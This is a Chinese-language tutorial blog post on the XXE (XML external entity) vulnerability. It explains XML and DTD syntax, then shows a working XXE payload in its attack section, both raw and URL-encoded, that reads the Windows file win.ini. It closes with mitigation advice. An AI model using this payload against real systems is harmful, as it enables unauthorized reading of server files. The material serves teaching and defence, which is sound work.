XXE外部实体引入漏洞原理及复现

1.简介

XXE (XML 外部实体) 是一种安全漏洞,影响解析 XML 输入的应用程序。该漏洞允许攻击者在 XML 文档中注入外部实体, DTD 可以在 XML 文档中引用外部实体。如果 XML 解析器未正确验证外部实体的内容,攻击者可以利用 XXE 漏洞读取系统的机密数据,或者在恶意 DTD 文件中执行任意代码。

当应用程序未能正确处理传入的 XML 数据或未限制可以处理的实体类型时,XXE 可能发生。因此,攻击者可以构造一个包含外部实体的恶意 XML 文档,该外部实体由脆弱的应用程序处理。

2.XML基本语法

2.1.文档声明

XML 文档必须以一个特殊的声明开头,用于指示 XML 文件的版本和编码。格式如下:

<?xml version="1.0" encoding="UTF-8"?>

2.2.根元素

XML 文档必须有一个根元素,它是整个文档的容器。根元素包含其他元素,并以标签的形式定义。例如:

<root>
...
</root>

2.3.元素

XML 文档中的所有数据都存储在元素中。元素用标签定义,并以开始标签和结束标签的形式表示。例如:

<element>This is a sample element</element>

2.4.属性

元素可以有属性,用于提供有关元素的其他信息。属性以名称/值对的形式出现在元素的开始标签中。例如:

<element attribute="value">This is a sample element</element>

2.5.注释

XML 文档可以包含注释,用于提供有关代码的信息。注释以特殊的标记开头,并以特殊的标记结尾。例如:

<!-- This is a sample comment -->

2.6.CDATA

XML 文档可以包含 CDATA(不被解析的数据)。CDATA 用于包含不需要解析的数据,例如 HTML 或 JavaScript 代码。CDATA 以特殊的标记开头和结尾。例如:

<![CDATA[This is a sample CDATA]]>

2.7.空元素

XML 中的空元素是没有内容的元素。它以特殊的标记表示,例如:

<empty_element />

3.DTD基本语法

3.1.要点

DTD 文档以 <!DOCTYPE 开头,后跟元素的类型和 DTD 文件的位置。

元素定义以 <!ELEMENT 开头,后跟元素的名称和其子元素的描述。

属性定义以 <!ATTLIST 开头,后跟元素的名称和其属性的描述。

元素类型可以是元素的名称、#PCDATA(表示元素中的文本)或其他元素类型的序列。

可以使用通配符(例如 * 和 +)来描述元素出现的次数。

可以使用括号(例如 (A|B))来描述多个元素的选择。

可以使用引用(例如 %name;)来重复使用元素定义。

所有定义必须以分号结尾。

3.2.DTD 示例

<!DOCTYPE book [
<!ELEMENT book (title, author, pages)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT pages (#PCDATA)>
<!ATTLIST book ISBN CDATA #REQUIRED>
]>

4.攻击

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

在可能存在漏洞的点,尝试利用XXE读取win.ini,这里对其做了一个简单的URL编码

%3C%3Fxml+version%3D%221.0%22%3F%3E++%3C%21DOCTYPE+foo+%5B+++++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E+%5D%3E++%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&submit=%E6%8F%90%E4%BA%A4

请添加图片描述

5.防范

  • 禁用 XML 解析器中的外部实体处理
  • 验证传入的 XML 数据,以确保其仅包含允许的实体
  • 使用安全的库和 API 处理 XML 数据
  • 实施适当的输入验证,防止恶意的 XML 输入
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值